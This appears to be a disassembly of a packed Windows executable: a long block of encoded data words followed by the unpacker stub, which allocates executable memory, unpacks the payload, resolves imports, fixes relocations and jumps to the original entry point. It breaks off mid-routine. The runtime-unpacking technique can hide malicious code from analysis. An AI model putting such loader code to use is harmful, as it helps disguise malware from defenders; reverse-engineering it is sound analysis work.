dd 0FB6C3D4Eh, 0CC5FC5F2h, 7A9BF4EBh, 0AB284E8Eh, 4E414C00h
dd 13444554h, 80564F4Ch, 6D7563C7h, 3272ACC2h, 41208339h
dd 8E4D9344h, 561EA11h, 527B6556h, 4B9A0D7Dh, 0A8EC6E18h
dd 158A9E7Dh, 3E67B875h, 53621E4Ch, 248C3334h, 9BEF4F82h
dd 3E02608Eh, 38725219h, 99E14A50h, 47336D65h, 876F8449h
dd 0CD3097ADh, 5B41E6F1h, 0CA377A6Bh, 1FFCF69Eh, 2D454EB0h
dd 42414812h, 756832BFh, 6903A58Eh, 869C6D7Ah, 6BF460AAh
dd 405D7497h, 41524F4Bh, 41905952h, 66990CC8h, 0DDC63CD6h
dd 64412A50h, 803371A0h, 51973134h, 1F7625AAh, 99FA7312h
dd 0FA38B150h, 0FF053832h, 0EEBC9A85h, 5975D29Ah, 762E3238h
dd 794741FEh, 412062E6h, 2B69D963h, 0DC9F7DF8h, 326D5334h
dd 89F56C30h, 0F0C65D80h, 0F10C9282h, 6450763Ah, 52906B51h
dd 0E803408Ah, 4E9B4D47h, 6863C119h, 285665D7h, 0AA7073B4h
dd 6CD0273Ch, 65CD6934h, 0C579E043h, 65463103h, 6EC5944Eh
dd 82417062h, 2272618Ch, 0C0554A44h, 0C0454351h, 2D4B4E20h
dd 4DE73233h, 277747A0h, 7430D974h, 25CD494Ch, 4807236Bh
dd 0B6C07A74h, 9836336Eh, 47550984h, 0B1A85241h, 650C3E24h
dd 4C086956h, 4B3842E9h, 2E2A66F4h, 0E6D8F486h, 0DF31746Ch
dd 49448C41h, 9FA445D4h, 40796D51h, 4E494899h, 5F5F5548h
dd 9448F0ECh, 9F4C46C7h, 42B844AAh, 656A6265h, 4F450586h
dd 7ADA1FA3h, 78A12846h, 84D5C761h, 45D12380h, 2D2B83DCh
dd 0F807E35Bh, 20484854h, 5AEDE598h, 14109F54h, 335054E0h
dd 0F83370B1h, 2D34C174h, 7950A0E2h, 0A26C6669h, 8D388A9Bh
dd 9E8E5725h, 0C4707712h, 0C5420C6Eh, 4C396931h, 7A64C157h
dd 81F448A1h, 474E6F43h, 725ABB75h, 0E1AD7891h, 84263322h
dd 676F620Fh, 0BC5424F6h, 756A1A64h, 8998B27Ah, 42D09A3Ch
dd 5938A404h, 0A42D77C2h, 7C96234h, 30899804h, 28146A21h
dd 4B43A005h, 5B1A3035h, 3CED5E25h, 21E779B8h, 0F571D968h
dd 0FAB5701Dh, 45F7F810h, 0CE79EF68h, 24FA704Ah, 54B4818Eh
dd 73144247h, 8C792BC1h, 19313247h, 0FA495550h, 73CCA6D2h
dd 1033E322h, 6848AA48h, 0B7FC4F2Ah, 0BA35B8D6h, 9A5A910Bh
dd 449C8214h, 92604445h, 6BCACE2Ch, 0A9983772h, 0ED546B55h
dd 7475F4FEh, 62A02AD0h, 612D4D2Bh, 56D152E9h, 6C280CACh
dd 40916442h, 883CDA36h, 904B418Eh, 0AC23E1A3h, 8595214h
dd 49DA4A30h, 0D8C94843h, 0DB40A54h, 6BAC8D36h, 93C30273h
dd 0EFCC5EE5h, 828B935Dh, 4E55414Fh, 0BD3A4F3h, 0D0064356h
dd 9C556453h, 0D261D830h, 32F47102h, 52A03537h, 0F9DF38ABh
dd 16631BADh, 11038E6Eh, 3A52D550h, 333A3534h, 4B19CCF4h
dd 0F7B9633Ch, 50929720h, 0FA4379CAh, 25934512h, 2CDA5C47h
dd 64D61296h, 90E0AB64h, 0EF754F44h, 1A5F6427h, 72B9F718h
dd 6DDA926Bh, 83786696h, 0E032DDF8h, 0A25A556Fh, 0B9754C28h
dd 3E6E3981h, 5279830Fh, 23719C8Dh, 6A37FC63h, 4A6F1458h
dd 7414D862h, 76B84010h, 634DD8A6h, 729067B6h, 24267974h
dd 64AB33B2h, 687A3A29h, 66194D24h, 0AD2B78B2h, 981C9388h
dd 53009BA5h, 73170450h, 3374F377h, 64318043h, 824B72BCh
dd 0BC645A47h, 0AF61AFA2h, 4391A679h, 0A634939h, 3459454Ch
dd 5E6C789Ch, 5866CC33h, 7136A258h, 547435C9h, 0DE88495Ch
dd 244E09F2h, 91564842h, 44582243h, 4B894C5Ah, 48244A12h
dd 46914748h, 53444422h, 124F8950h, 1A682855h, 550A0954h
dd 95746F8h, 89625144h, 247A1278h, 9168486Ch, 44662267h
dd 77897964h, 25AC727Fh, 0E02FE457h, 0B5D29834h, 20CD847Eh
dd 0EE5F1C0Bh, 68224B61h, 7E01CD7Eh, 1C32865Fh, 0D3FB4331h
dd 0CA057830h, 80323A18h, 5F607C2Dh, 5B257B5Ch, 5D348B5Dh
dd 562FAC95h, 6007A50h, 0AFA8BD80h, 0C97D8A02h, 0D7F4BE11h
dd 892998C8h, 2AAB31D7h, 80188D50h, 0DCE7F77Eh, 5201B000h
dd 0E59CA97h, 0D5A811D0h, 0DC9A001h, 0C0FB4980h, 5500B526h
dd 0C5C1371Dh, 279AB46h, 682A8F63h, 582969E8h, 0D8BBB564h
dd 0C0DD145Ah, 487CB27Eh, 5CBF7263h, 0E609C92Ch, 0E109060Bh
dd 0C7BED272h, 0ABC62559h, 0C5C375EDh, 0CA8124Eh, 0EC28FA5Eh
dd 6D519D40h, 0D45669Ch, 0B2EB3A0Ah, 7F1269B4h, 502222A6h
dd 165810A3h, 0B6CD4EA8h, 5A2F1009h, 27345A6Ah, 94AB7373h
dd 0C4AE174Ah, 0B438FD80h, 61474BAAh, 0BB596575h, 0F62FF1FBh
dd 68F7D317h, 5A27E692h, 343A2D89h, 411AADE4h, 5A281EA8h
dd 0FCA824EBh, 0E402B7C7h, 0E9E8D095h, 0D493CC3Fh, 0CCC11CAh
dd 0BC48C464h, 0AC48B4E4h, 9C48A4E4h, 94220191h, 89028C44h
dd 25741280h, 7AC08D03h, 648A44E8h, 4B845B0Ch, 5061D750h
dd 0AF084D64h, 0D99AF521h, 1015082Eh, 0E172611Eh, 0BF2111B6h
dd 60D0587Ah, 5F209008h, 346834EAh, 0F280B508h, 7A1164ADh
dd 0EAE458E8h, 62B836D4h, 8B76BD76h, 7E4E776Bh, 242B2487h
dd 28A12F29h, 869977ADh, 14397F2Dh, 241A501Dh, 0EB6EE065h
dd 9C4FE8E6h, 519D63F0h, 0AE641248h, 0F88CAE65h, 0BB23FF68h
dd 0A954A6DEh, 4559A4CEh, 7720742Eh, 9961B4A2h, 0FDBC7BDDh
dd 139FE5Fh, 5DCB2407h, 22D27844h, 65F175AFh, 2563C4D9h
dd 0A79EA832h, 755B51DAh, 2163912Eh, 7CA03614h, 2187A592h
dd 0B9802E14h, 11C37C15h, 97D54E6Bh, 5FF06FB6h, 2C90BFADh
dd 91E0ECF4h, 29BED2AEh, 504CBFA9h, 6CBD6124h, 61F4BD99h
dd 0AC76B2ECh, 1F30D585h, 2246F575h, 0EB38D236h, 1C895A27h
dd 23A2A508h, 0A642A366h, 0F526D41h, 8AEED6B0h, 0CB2043CBh
dd 6E652764h, 0D2E485Dh, 958B61BEh, 0D91B7234h, 0A9CE611Ah
dd 0F7BC7D40h, 0A94485D1h, 9C473E1Ah, 4B85A196h, 0E42DE440h
dd 0EA64AB2Ah, 413EE52Eh, 0DDDEF8CAh, 0B12A63D2h, 0EE5B4449h
dd 2049FE2Bh, 4F2F67BDh, 0A42C6CC8h, 8DF6EFA4h, 0AC6B7614h
dd 0F4B7931Ch, 7FB91448h, 0C4910BE9h, 77CA8146h, 539B24E4h
dd 7562A01Eh, 0D2F551A8h, 2FBD0A6Ch, 8EBAB6C7h, 8943286Dh
dd 0E1826C5Ah, 385A5770h, 275C23F7h, 0E92A5441h, 5CBF4136h
dd 0BDCEDA5h, 0B22AD48Ch, 0B7B6E469h, 24E96B0Ah, 567F28Ch
dd 16C94A2Ch, 0F5F5AAF9h, 306873F9h, 48BC436Ah, 35C9A4D9h
dd 6569DB52h, 0EEEB695Ch, 0D3FF79D2h, 0E9AB217Ch, 82A14657h
dd 71E6572Ch, 757AE791h, 0E893D4CEh, 0FD7A3468h, 0C0EA8D59h
dd 27DFDEFCh, 344D9EC3h, 842ABD28h, 3B546D77h, 0A25A33E6h
dd 0C2AD5BF0h, 16DA645Dh, 8E641455h, 490C8C18h, 189A2852h
dd 188CADECh, 0C8CA8BAh, 90BD29FFh, 0CCDD5A0Bh, 0B4669408h
dd 4D183683h, 0AF346EB5h, 0B35D2F6Eh, 3A7438B3h, 9A42F4Ah
dd 47726168h, 5478AEA2h
dd 767441D7h, 0C473407Dh, 0C2ED51DAh, 311B77BDh, 0EA145334h
dd 3606A332h, 0DC0B7A75h, 824E162Fh, 9D8859CAh, 0EFED734Ch
dd 539014A2h, 0C8E5809Ah, 5B1D5395h, 3F826FAh, 4765269h
dd 0AB57208h, 0C44F011Bh, 0D9935F0Bh, 54630C44h, 2DEC3AEAh
dd 401AFF75h, 0D48DEF36h, 4DC930E8h, 0C820AB99h, 5036D224h
dd 1A4A1D82h, 0CEF5A28Bh, 0B5D48E16h, 78743886h, 573D5067h
dd 7E6BA94Eh, 614D6040h, 15992E78h, 34F35E27h, 4F38E69Ch
dd 2527DFD3h, 74614C52h, 43175875h, 49E87CB5h, 28952B2Fh
dd 6F6C57CDh, 0EF5989A9h, 538A7E48h, 49462D14h, 0A17DD39Dh
dd 2FCCA614h, 8827B6F1h, 10A33B32h, 8B4A6E94h, 0C36AD74Eh
dd 19FFFBCAh, 605873DBh, 9D617742h, 816838F9h, 14481A68h
dd 0B43941E5h, 52722892h, 8A725110h, 9624F8D7h, 69458EFFh
dd 5CD25529h, 0AAC4464Bh, 0EAF26234h, 9BAFF09Bh, 0E0174477h
dd 19759547h, 0F9EE557Ch, 0AE419204h, 43CD08A6h, 89B2A1B0h
dd 78245395h, 0E42511A7h, 9514B8ECh, 11862652h, 3BB5E2BFh
dd 0BA1C4AB9h, 9F27A025h, 0DC6EF73Bh, 0BC932EE8h, 948B6167h
dd 629A8244h, 698AD662h, 6A716742h, 0DF4F3AA4h, 0F03AD0F5h
dd 55E8C748h, 6C497A99h, 0AEDEB9A1h, 9C862052h, 0F93AC5A4h
dd 3DEBD288h, 7BDB65E3h, 0D4A45DBCh, 936126ECh, 65DA1AB9h
dd 0C837A12Ch, 4C5DA538h, 7AAFB19Ch, 535A4C7Bh, 8D45AF90h
dd 124D0E2Ch, 0D79EBD7Eh, 0D7286C28h, 0BC8B2D6Ah, 0B6BDF5C0h
dd 0F0769DC5h, 2F79630Ah, 2E42A3CAh, 0F798BA29h, 58963164h
dd 39865952h, 9DD3EC56h, 91230AD1h, 0A5645B24h, 0BF7348A4h
dd 79EB7CFEh, 642634E1h, 4A86A885h, 57644E49h, 0E2EC359Ah
dd 6EB30995h, 0A61984DFh, 0FF8E8308h, 0B86B9F9Dh, 52E49569h
dd 13BADA09h, 0A29DB44Dh, 0A1BE6554h, 48252C68h, 45CADAAEh
dd 655A2BF2h, 0DAC9FC44h, 0DB657D62h, 2F7115A7h, 5B553BDDh
dd 0B476EB4Ch, 0E477FBE1h, 443DE843h, 0D654A84Fh, 0A29B757h
dd 0CF52244Ah, 64C812F4h, 4C8DEAB6h, 6F4E2594h, 6775E861h
dd 4C657F68h, 856AD836h, 1B2A5CFh, 5953E1F1h, 67903E51h
dd 0A566992h, 0C9FA42B8h, 0B4184F2Eh, 0EB3C271Ah, 1D5A7013h
dd 0FB5237FEh, 2C168D32h, 39BE6D5Fh, 0F7F23E0Eh, 3CC4A3D3h
dd 0E008E230h, 3268DEA3h, 0B824C409h, 0A091AC48h, 80449022h
dd 12548968h, 483C2448h, 22249130h, 0FC0C4418h, 89F0A240h
dd 24D812E4h, 91BC48CCh, 38A022B0h, 72873169h, 296E3435h
dd 699F805Bh, 0C70D7595h, 5C293364h, 6510689Bh, 0C20B2972h
dd 520DB788h, 68A05E57h, 6919B60Dh, 4BF0C84h, 73C14DB1h
dd 34585058h, 85E6E362h, 36226CECh, 73A14850h, 0C325533h
dd 3D4192A7h, 4D414864h, 4142532Dh, 0C505470h, 2963736Dh
dd 0AD246276h, 125C9AFFh, 0E6CC703Ch, 45563B41h, 84876720h
dd 67666385h, 0DE802D25h, 0D16D6B73h, 7A361AF2h, 0C1B0EA10h
dd 286D7229h, 0BC907DBFh, 0AA777034h, 21A39429h, 347A9A0Eh
dd 191B1F62h, 3AC7F84Eh, 0E557445h, 0A8DF7EACh, 0A44C9429h
dd 67692B66h, 61092740h, 491CBA28h, 0DFCB9A5Ch, 5F2FD0E5h
dd 0EECDC433h, 65DF15E2h, 24A35A7Bh, 0CE165F72h, 5FAF2487h
dd 2C1B5CB2h, 7F3A062Fh, 0D5E88B6h, 2BE47DBFh, 0A34E4B8Ah
dd 60B24BDBh, 40003F41h, 0A70A0D2Eh, 17501430h, 0AAE924D7h
dd 0CCD49DFDh, 408AAE4Ah, 0A1ED5842h, 7FE93062h, 4927F9BEh
dd 0DC885C4Fh, 0D2787EBDh, 22D7D3FDh, 5611A29Bh, 0A5884284h
dd 8065085Eh, 267C0832h, 74440978h, 3A448870h, 0DF245C40h
dd 0E811B730h, 4D44419Fh, 545D4E49h, 0BD700E50h, 0DDDAD0F4h
dd 74E91651h, 0A742523Bh, 9458F1F7h, 63AD302Eh, 0D68C5835h
dd 0A6FB6625h, 3FFA5EC1h, 4F234264h, 74531F0Eh, 0F4549136h
dd 2145B6A3h, 73E2500Eh, 6F734415h, 4374EC5Eh, 0A73AEDF8h
dd 964D94F1h, 9E88B95h, 0B3AB354Bh, 5AE35C67h, 0B62E1FC2h
dd 0BC288C3Ch, 0F9FB5A97h, 53534622h, 0E3EAB5C4h, 913E90FCh
dd 2419B93Ch, 8E6D1C2Bh, 0A1976D79h, 0CBC01FB7h, 23B75E44h
dd 2129DAB4h, 50C8DE59h, 1B4944F1h, 0F97E2809h, 9110D6E9h
dd 27144115h, 6454F738h, 4C25658Ch, 5C41A563h, 0B0241095h
dd 0ED57ABADh, 86D6EC6Ah, 71B8A554h, 55F10B72h, 0BA45E26Eh
dd 96CB7DAh, 0BE176E75h, 7C3A124Eh, 426DE24Bh, 6214E5D0h
dd 76ABD77h, 0F4545330h, 75DCFB2Fh, 0BC0D4F30h, 0CBAAA56Ah
dd 28648D0Fh, 0AAD7D062h, 5B072CDDh, 0ABC845E6h, 2414DD25h
dd 6962050Fh, 0AF1F2F74h, 41535545h, 0A7FF1169h, 126D6185h
dd 6114E72Ch, 23F43867h, 22577D4h, 25D9D42Eh, 608FEF29h
dd 60F96A49h, 50FF7912h, 20D00F3Ch, 749FF05Ah, 0C3A6795Eh
dd 34641040h, 24BF6131h, 80101211h, 62696C7Fh, 0D79C21EFh
dd 0A1416651h, 15A0288Bh, 7568D480h, 8BE46F3h, 6C8D5990h
dd 0E3BD3C21h, 0AF6E7996h, 0D15FB4AEh, 0F23C5114h, 0B27FAD89h
dd 0E94829BAh, 224933C0h, 0F4A937Ch, 738F75FCh, 204256D4h
dd 20126224h, 0B5308583h, 0F724A152h, 93540C43h, 314530BCh
dd 0D36FD00Ch, 500EC47Eh, 1A55101Fh, 0E03DBA04h, 0C25B533Ah
dd 629264ECh, 6F781410h, 0C48761A4h, 35706994h, 2F291064h
dd 0A0606C1Dh, 0DA75EE6Ch, 50333630h, 633756F6h, 103A4468h
dd 9FA13165h, 851F93D2h, 0AD667C23h, 42753C62h, 0FEBC2828h
dd 0DB3C6C94h, 8A5FD66Ch, 0B01AD77Dh, 0A246071h, 55504361h
dd 4900CF22h, 4D753436h, 2E6B7A48h, 8223D822h, 0B097711h
dd 4A5BEAD6h, 0A7AFB519h, 0EB4B723Dh, 9A07CB3Bh, 4B994337h
dd 4E998A32h, 622E1E33h, 75424406h, 0FAD4BC63h, 9E481226h
dd 0FB082D26h, 481DB241h, 0BC5DD9DFh, 69478ACEh, 496C752Bh
dd 292349BEh, 0A3E35CADh, 6954040Ch, 2B552C6Dh, 0A90E7470h
dd 6FFA3848h, 79C8024Dh, 756325B8h, 0E5CB1565h, 6B00A9C4h
dd 805E8857h, 0EAB063F2h, 4DD9FD41h, 9DAA721h, 387F7E68h
dd 9FF64C39h, 2815842h, 0C370752Dh, 457D6FD2h, 58E525AFh
dd 58E55F25h, 849CDF69h, 0B6A7E6B7h, 6D2E4537h, 0B5723830h
dd 0F66BC78Dh, 0E55C91C6h, 55059DB7h, 6A2E4C52h, 89B15A78h
dd 0A7FB393Ah, 37C21A59h, 8A24A084h, 3974CC0Dh, 4A702F2Ah
dd 8BC2604h, 440DFF22h, 180EB51h, 69DD8202h, 2E033020h
dd 0A38081Ch, 7234D92Fh, 3F31011Ch, 98750817h, 24227302h
dd 3B4441D1h, 603F044Ch, 520201Bh, 40AF1993h, 41C1A205h
dd 108AF0BCh, 0AE606110h, 78045243h, 14CFF39h, 0F139CEF0h
dd 0AAAA0114h, 1CE44AAAh, 100162E0h, 408CE92h, 0BE200232h
dd 0DF284202h, 48705EA1h, 84B21047h, 4522A317h, 1022C81h
dd 401CFA85h, 0C8028252h, 3CA35F02h, 142A2013h, 99AB4EAFh
dd 0A8080004h, 98E04277h, 20509DFh, 1C040804h, 600303A4h
dd 21927982h, 0DFA62C98h, 0A12308A4h, 9F8102A5h, 4010FCE0h
dd 3080437Eh, 0A3C161A8h, 5826E5DAh, 18FE81A1h, 5208A640h
dd 41EC30B5h, 0CFB6448Eh, 38E4A239h, 3CE53B1Ah, 5A5B23E8h
dd 46A19005h, 905510Ah, 675EDA39h, 6A675FC0h, 22E3284h
dd 0E0DED8D3h, 7E3103F9h, 880C7452h, 4029416h, 640803CAh
dd 91184804h, 440D2205h, 7890906h, 8240C12h, 0A390972h
dd 870B1C4Ch, 0D03C1694h, 580F2908h, 0C8141094h, 4129411h
dd 212318D0h, 0C8103594h
dd 7243E441h, 52349950h, 0A653184Ch, 60575308h, 947C5929h
dd 6DCB186Ch, 232EA1Bh, 251C0970h, 6AC7272h, 5C803099h
dd 8A681B4h, 23208253h, 48849483h, 299191C8h, 95109E29h
dd 0A4CA90A1h, 72A76470h, 0CEA0B9B7h, 8ED7204Ch, 0C071824h
dd 2D0920C0h, 0D25D450Dh, 1462884Eh, 61785C09h, 11911D78h
dd 201A2258h, 1B44C614h, 1F21C850h, 13114899h, 21244012h
dd 0E913848h, 74813022h, 5810A928h, 433C209Eh, 37101835h
dd 1E11CCB0h, 12120C89h, 20480824h, 0C220491h, 4477FC20h
dd 1589F40Bh, 1C24EC12h, 1991E448h, 1144DC22h, 121889D4h
dd 481624CCh, 221791C4h, 0B82244BCh, 0B4122389h, 0B0482424h
dd 0F00E01A1h, 0F8C4107Fh, 9AEF62FFh, 7EFB7710h, 87088095h
dd 0A0E4410h, 30C41401h, 424F1302h, 1C9F0497h, 0FC0F5C29h
dd 4404952Dh, 0B53C0E8h, 191D3245h, 0F963904h, 8478D22h
dd 8FE48E21h, 9087903Ch, 1E92F291h, 3C99343h, 120AE8B9h
dd 4DDE288Ch, 0A0F4581Ah, 0FC427B26h, 44117466h, 78A4809h
dd 30892428h, 937AF8A0h, 24C81E58h, 89A4C798h, 0E278E031h
dd 4078684Ch, 783E8093h, 0E008109Bh, 89A8C779h, 9180A031h
dd 70227811h, 246012F7h, 9150487Ah, 54F427FCh, 48FF1470h
dd 0C085216Eh, 0A718D94Dh, 0E7B4FD10h, 0B974105Ch, 5D5CFD3Bh
dd 1C63B930h, 0EF802B4Fh, 34269485h, 195D109h, 352C60FCh
dd 40C61894h, 0BB03FC09h, 49811609h, 386C1844h, 0A77F2044h
dd 2A00541h, 0C80C7140h, 0FA100E05h, 9C92B708h, 5010160Ch
dd 24B00FC3h, 28512F4h, 16989680h, 0BC200814h, 4C019BEh
dd 211BC9BFh, 0A103348Eh, 0D8CECCEDh, 0F84ED3C2h, 9EF00020h
dd 0A82B70B5h, 9D3EC5ADh, 5DD00069h, 1AE525FDh, 194F0F8Eh
dd 718083EBh, 4395D796h, 8D050E03h, 0E09EAF29h, 7A0BFF9h
dd 1281ED44h, 0B982338Fh, 0D53CB0E7h, 0FF0DCFA6h, 7A781F49h
dd 0C66FF0h, 80E98CE0h, 93BA47C9h, 0BC41A800h, 27556B85h
dd 0F78D0339h, 427CE070h, 0DE8EDDE0h, 0FB9DF900h, 51AA7EEBh
dd 0E6A10043h, 0F2CCE376h, 84002F29h, 28442681h, 3AAA1710h
dd 0E387AEF8h, 0C0FAC4C5h, 0F3D4A7EBh, 0E100F775h, 0CF957A4Ah
dd 0CC6545h, 0A60E91C7h, 0E319A0AEh, 0D46A31Fh, 750C1741h
dd 76CC8681h, 4D4800C9h, 0A7E44258h, 3B033993h, 0EDB2B835h
dd 0E5A0EF53h, 0E7C53D5Dh, 1E9E8BF4h, 80FF5A92h, 20A1F0A6h
dd 0A50054C0h, 0D161378Ch, 0E45A8BFDh, 5D2500D8h, 67DBF989h
dd 0F80395AAh, 0A2BF27F3h, 80DDE8C8h, 0C94C006Eh, 8A20979Bh
dd 60165202h, 7CAC25C4h, 4CCCD86h, 0FB000184h, 0A3D713Fh
dd 0A170A3D7h, 5AF0F805h, 0DF3B0064h, 6E978D4Fh, 0F57C8312h
dd 2CD3C300h, 58E21965h, 0D1B71F17h, 0FD000F1h, 1B478423h
dd 0C51FACE4h, 4000EEA7h, 6C69B6A6h, 0BD0507AFh, 0C0EB8637h
dd 42BC3D33h, 0D5E57A01h, 0E7D6BF94h, 0E2FDC2F0h, 846101CEh
dd 0ABCC7711h, 4C2FF0E4h, 4DE15B00h, 9594BEC4h, 78C97CE6h
dd 3B530392h, 14CD4475h, 0F0AF9AF1h, 0BA0067DEh, 0AD453994h
dd 0EFCFB11Eh, 1F2324F0h, 0C1BCE2C6h, 8B61313Bh, 55A0F37Ah
dd 7E01C159h, 127C53B1h, 0D7F05FBBh, 8D2F00EEh, 8592BE06h
dd 446FFB15h, 0E9A5C348h, 0EA279839h, 2AA83E7Fh, 0A1AC7D00h
dd 7C64BCE4h, 0DDD04600h, 7B633E55h, 23CC0006h, 0FF837754h
dd 3D738191h, 193AFA00h, 4325637Ah, 0ACC00031h, 0D189213Ch
dd 471C8238h, 0FD00B897h, 88DC3BD7h, 1B080058h, 86E3E8B1h
dd 0C6F803A6h, 42458400h, 7599B607h, 2EDB0037h, 1C71333Ah
dd 32F023D2h, 9049EE00h, 87A6395Ah, 57C007BEh, 8082A5DAh
dd 0E232B5A2h, 11B26800h, 449F52A7h, 10B70059h, 0E449252Ch
dd 3403362Dh, 0CEAE534Fh, 598FD86Bh, 0C0A40004h, 0FB7DC2DEh
dd 1E00C6E8h, 5A88E79Eh, 3C9157h, 228350BFh, 654B4E18h
dd 1FD623Ch, 9406AF8Fh, 5C80117Dh, 0D2CE9FDEh, 0DD0204C8h
dd 0EC0AD8A6h, 80AC597Ch, 56413F2Eh, 0D2957865h, 0A9E19FF0h
dd 3985C740h, 6F46B18h, 0B25F5E63h, 73400600h, 0E13D6474h
dd 0E84F204Fh, 395F3AA4h, 51FADE66h, 409021F5h, 0D124AFF5h
dd 441B416Dh, 0A782BF4Bh, 0D6ADD55Fh, 59402C3Bh, 0D8EE00h
dd 0
dd 0E0017027h, 0DC09C89Ch, 11022188h, 8F902233h, 0CCD701h
dd 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_28 = dword ptr -28h
var_24 = dword ptr -24h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
call $+5
mov ebp, [esp+24h+var_24]
add esp, 4
cmp [esp+20h+arg_4], 1
jnz short loc_4FA4D7
mov eax, [esp+20h+arg_0]
mov [ebp+43Ch], eax
jmp short loc_4FA4E3
; ---------------------------------------------------------------------------
loc_4FA4D7: ; CODE XREF: start+11j
mov eax, [ebp+438h]
mov [ebp+43Ch], eax
loc_4FA4E3: ; CODE XREF: start+1Dj
lea esi, [ebp+460h]
lea ebx, [ebp+2EBh]
xor edi, edi
call sub_4FA648
jmp short loc_4FA513
; ---------------------------------------------------------------------------
loc_4FA4F8: ; CODE XREF: start+5Fj
mov eax, [ebp+43Ch]
push dword ptr [edi+esi+4]
add [esp+24h+var_24], eax
push dword ptr [edi+esi]
add [esp+28h+var_28], eax
call ebx
add esp, 8
add edi, 8
loc_4FA513: ; CODE XREF: start+3Ej
cmp dword ptr [edi+esi], 0
jnz short loc_4FA4F8
cmp dword ptr [ebp+448h], 0
jz short loc_4FA530
cmp dword ptr [ebp+44Ch], 0
jz short loc_4FA530
call sub_4FA6E8
loc_4FA530: ; CODE XREF: start+68j start+71j
lea esi, [edi+esi+4]
push ebx
push 40h
push 1000h
push 760h
push 0
call dword ptr [ebp+3D1h]
mov [ebp+45Ch], eax
pop ebx
push dword ptr [ebp+45Ch]
push esi
call ebx
add esp, 8
mov esi, [ebp+45Ch]
mov eax, esi
jmp short loc_4FA567
; ---------------------------------------------------------------------------
loc_4FA566: ; CODE XREF: start+B2j
inc eax
loc_4FA567: ; CODE XREF: start+ACj
cmp byte ptr [eax], 1
jnz short loc_4FA566
inc eax
mov edi, [eax]
add edi, [ebp+43Ch]
add eax, 4
mov [ebp+458h], eax
jmp loc_4FA617
; ---------------------------------------------------------------------------
loc_4FA583: ; CODE XREF: start+162j
push esi
call dword ptr [ebp+3C9h]
test eax, eax
jz loc_4FA646
mov [ebp+454h], eax
mov eax, esi
jmp short loc_4FA5F7
; ---------------------------------------------------------------------------
loc_4FA59C: ; CODE XREF: start+13Dj start+142j
mov eax, [ebp+458h]
mov eax, [eax]
test eax, 80000000h
jz short loc_4FA5BF
xor eax, 80000000h
push eax
mov eax, [ebp+458h]
mov dword ptr [eax], 202020h
jmp short loc_4FA5C5
; ---------------------------------------------------------------------------
loc_4FA5BF: ; CODE XREF: start+F1j
push dword ptr [ebp+458h]
loc_4FA5C5: ; CODE XREF: start+105j
push dword ptr [ebp+454h]
call dword ptr [ebp+3CDh]
test eax, eax
jz short loc_4FA646
mov [edi], eax
add edi, 4
mov eax, [ebp+458h]
jmp short loc_4FA5E3
; ---------------------------------------------------------------------------
loc_4FA5E2: ; CODE XREF: start+12Ej
inc eax
loc_4FA5E3: ; CODE XREF: start+128j
cmp byte ptr [eax], 0
jnz short loc_4FA5E2
inc eax
mov [ebp+458h], eax
cmp word ptr [eax+2], 8000h
jz short loc_4FA59C
loc_4FA5F7: ; CODE XREF: start+E2j
cmp byte ptr [eax], 0
jnz short loc_4FA59C
jmp short loc_4FA5FF
; ---------------------------------------------------------------------------
loc_4FA5FE: ; CODE XREF: start+14Aj
inc esi
loc_4FA5FF: ; CODE XREF: start+144j
cmp byte ptr [esi], 0
jnz short loc_4FA5FE
inc esi
inc eax
mov edi, [eax]
add edi, [ebp+43Ch]
add eax, 4
mov [ebp+458h], eax
loc_4FA617: ; CODE XREF: start+C6j
cmp byte ptr [esi], 1
jnz loc_4FA583
push 4000h
push 760h
push dword ptr [ebp+45Ch]
call dword ptr [ebp+3D5h]
call sub_4FA678
call sub_4FA764
popa
jmp sub_41E1D3
; ---------------------------------------------------------------------------
loc_4FA646: ; CODE XREF: start+D4j start+11Bj
popa
retn
start endp
; =============== S U B R O U T I N E =======================================
sub_4FA648 proc near ; CODE XREF: start+39p
pusha
mov eax, [ebp+43Ch]
add eax, [eax+3Ch]
add ax, [eax+14h]
add eax, 18h
mov ebx, [eax+0Ch]
add ebx, [ebp+43Ch]
mov ecx, [eax+8]
lea eax, [ebp+434h]
push eax
push 40h
push ecx
push ebx
call dword ptr [ebp+3D9h]
popa
retn
sub_4FA648 endp
; =============== S U B R O U T I N E =======================================
sub_4FA678 proc near ; CODE XREF: start+17Ep
pusha
mov esi, [ebp+440h]
or esi, esi
jz short loc_4FA6E6
mov edi, [ebp+438h]
mov eax, [ebp+43Ch]
cmp eax, edi
jz short loc_4FA6E6
add esi, eax
jmp short loc_4FA6E1
; ---------------------------------------------------------------------------
loc_4FA697: ; CODE XREF: sub_4FA678+6Cj
mov edx, [esi]
mov eax, [esi+4]
mov [ebp+444h], eax
add [ebp+444h], esi
add esi, 8
jmp short loc_4FA6D9
; ---------------------------------------------------------------------------
loc_4FA6AD: ; CODE XREF: sub_4FA678+67j
movzx eax, word ptr [esi]
mov ebx, eax
shr ebx, 0Ch
mov ecx, ebx
imul ebx, 1000h
sub eax, ebx
add eax, edx
add eax, [ebp+43Ch]
cmp ecx, 3
jnz short loc_4FA6D6
sub [eax], edi
mov ecx, [ebp+43Ch]
add [eax], ecx
loc_4FA6D6: ; CODE XREF: sub_4FA678+52j
add esi, 2
loc_4FA6D9: ; CODE XREF: sub_4FA678+33j
cmp esi, [ebp+444h]
jb short loc_4FA6AD
loc_4FA6E1: ; CODE XREF: sub_4FA678+1Dj
cmp dword ptr [esi], 0
jnz short loc_4FA697
loc_4FA6E6: ; CODE XREF: sub_4FA678+9j
; sub_4FA678+19j
popa
retn
sub_4FA678 endp
; =============== S U B R O U T I N E =======================================
sub_4FA6E8 proc near ; CODE XREF: start+73p
pusha
mov esi, [ebp+448h]
add esi, [ebp+43Ch]
mov edi, esi
mov ecx, [ebp+44Ch]
cmp dword ptr [ebp+450h], 0
jz short loc_4FA73A
jmp short loc_4FA733
; ---------------------------------------------------------------------------
loc_4FA708: ; CODE XREF: sub_4FA6E8+4Ej
cmp byte ptr [esi], 0E8h
jz short loc_4FA712
cmp byte ptr [esi], 0E9h
jnz short loc_4FA731
loc_4FA712: ; CODE XREF: sub_4FA6E8+23j
mov eax, [esi+1]
cmp al, [ebp+450h]
jnz short loc_4FA72B
mov al, 0
bswap eax
sub eax, 5
add eax, edi
sub eax, esi
mov [esi+1], eax
loc_4FA72B: ; CODE XREF: sub_4FA6E8+33j
add esi, 4
sub ecx, 4
loc_4FA731: ; CODE XREF: sub_4FA6E8+28j
inc esi
dec ecx
loc_4FA733: ; CODE XREF: sub_4FA6E8+1Ej
cmp ecx, 0
ja short loc_4FA708
